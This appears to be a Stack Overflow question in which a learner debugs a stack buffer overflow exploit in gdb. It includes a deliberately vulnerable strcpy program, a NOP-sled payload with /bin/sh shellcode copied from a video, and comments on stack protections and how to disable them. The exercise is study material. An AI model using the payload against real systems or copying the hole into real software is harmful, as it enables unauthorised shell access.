0

I'm trying to write a buffer overflow payload but when I was testing in gdb the RIP can't seem to understand a memory address holding the \x90 byte.

My code is like this

1       #include <stdio.h>
2       #include <string.h>
3
4       int main (int argc, char** argv) {
5           char buffer[500];
6           strcpy(buffer, argv[1]);
7           return 0;
8       }

When I ran x/500xg $rsp -550, I got something like this

0x7fffffffdc4a: 0x9090909090909090      0x9090909090909090
0x7fffffffdc5a: 0x9090909090909090      0x9090909090909090
0x7fffffffdc6a: 0x9090909090909090      0x9090909090909090
0x7fffffffdc7a: 0x9090909090909090      0x9090909090909090
0x7fffffffdc8a: 0x9090909090909090      0x9090909090909090
0x7fffffffdc9a: 0x9090909090909090      0x9090909090909090
0x7fffffffdcaa: 0x9090909090909090      0x9090909090909090
0x7fffffffdcba: 0x9090909090909090      0x9090909090909090
0x7fffffffdcca: 0x9090909090909090      0x9090909090909090
0x7fffffffdcda: 0x9090909090909090      0x9090909090909090
0x7fffffffdcea: 0x9090909090909090      0xc031909090909090
0x7fffffffdcfa: 0x80cdc931db3146b0      0x074388c0315b16eb
0x7fffffffdd0a: 0x0bb00c4389085b89      0x80cd0c538d084b8d
0x7fffffffdd1a: 0x69622fffffffe5e8      0xffffdbfa68732f6e
0x7fffffffdd2a: 0x7fffffffdbfa7fff      0xdbfa7fffffffdbfa
0x7fffffffdd3a: 0xde2800007fffffff      0xa00000007fffffff
0x7fffffffdd4a: 0x513900000002f7fc      0xe159000055555555

So ran it with a payload using Python3 like this

run $(python -c 'import sys; sys.stdout.buffer.write(b"\x90" * 456 + b"\x31\xc0\xb0\x46\x31\xdb\x31\xc9\xcd\x80\xeb\x16\x5b\x31\xc0\x88\x43\x07\x89\x5b\x08\x89\x43\x0c\xb0\x0b\x8d\x4b\x08\x8d\x53\x0c\xcd\x80\xe8\xe5\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68" + b"\xca\xdc\xff\xff\xff\x7f" * 4)')

I can see that I am giving it the right length of \x90 padding because the return address is changed. However, I got a seg fault and the RIP doesn't seem to know where 0x7fffffffdcca is

0x00007fffffffdcea in ?? ()

This memory address should contain a bunch of \x90. Is it because the bytes after the bunch of \x90 doesn't make sense? I copied the bytes from a buffer overflow YouTube video. I don't get why it doesn't understand the memory address.

Nate Eldredge
  • 48,811
  • 6
  • 54
  • 82
Jace Zoodiac
  • 11
  • 1
  • The `??` just means that the address doesn't correspond to any function in the program's symbol table. This is normal, because the stack isn't part of any function. – Nate Eldredge Apr 06 '22 at 14:26
  • 1
    Modern operating systems use several hardening mechanisms to stop trivial overflow exploits like this. One is that the stack is set non-executable, so any attempt to return to a stack address crashes immediately instead of executing the shellcode. Another is that the stack location is randomized, so whatever return address you choose on one run of the program will probably not work on a subsequent run. To test this kind of simple exploit, you'll have to turn those features off. What OS are you using? – Nate Eldredge Apr 06 '22 at 14:28
  • By the way, it's probably not a great idea to run shellcode obtained from random Internet sources, without at least disassembling it and understanding what it actually does. It could be something malicious. – Nate Eldredge Apr 06 '22 at 14:31
  • @NateEldredge Thanks for the response. Is there a way for me to test this kind of buffer overflow exploits? I was working in Kali Linux 2022.1. Is there a flag I can set on or off to temporarily disable the hardening feature? – Jace Zoodiac Apr 06 '22 at 18:28
  • [How to get c code to execute hex machine code?](https://stackoverflow.com/a/55893781) discusses various things you can do, for example compile with `gcc -z execstack`. – Peter Cordes Apr 06 '22 at 22:49

0 Answers0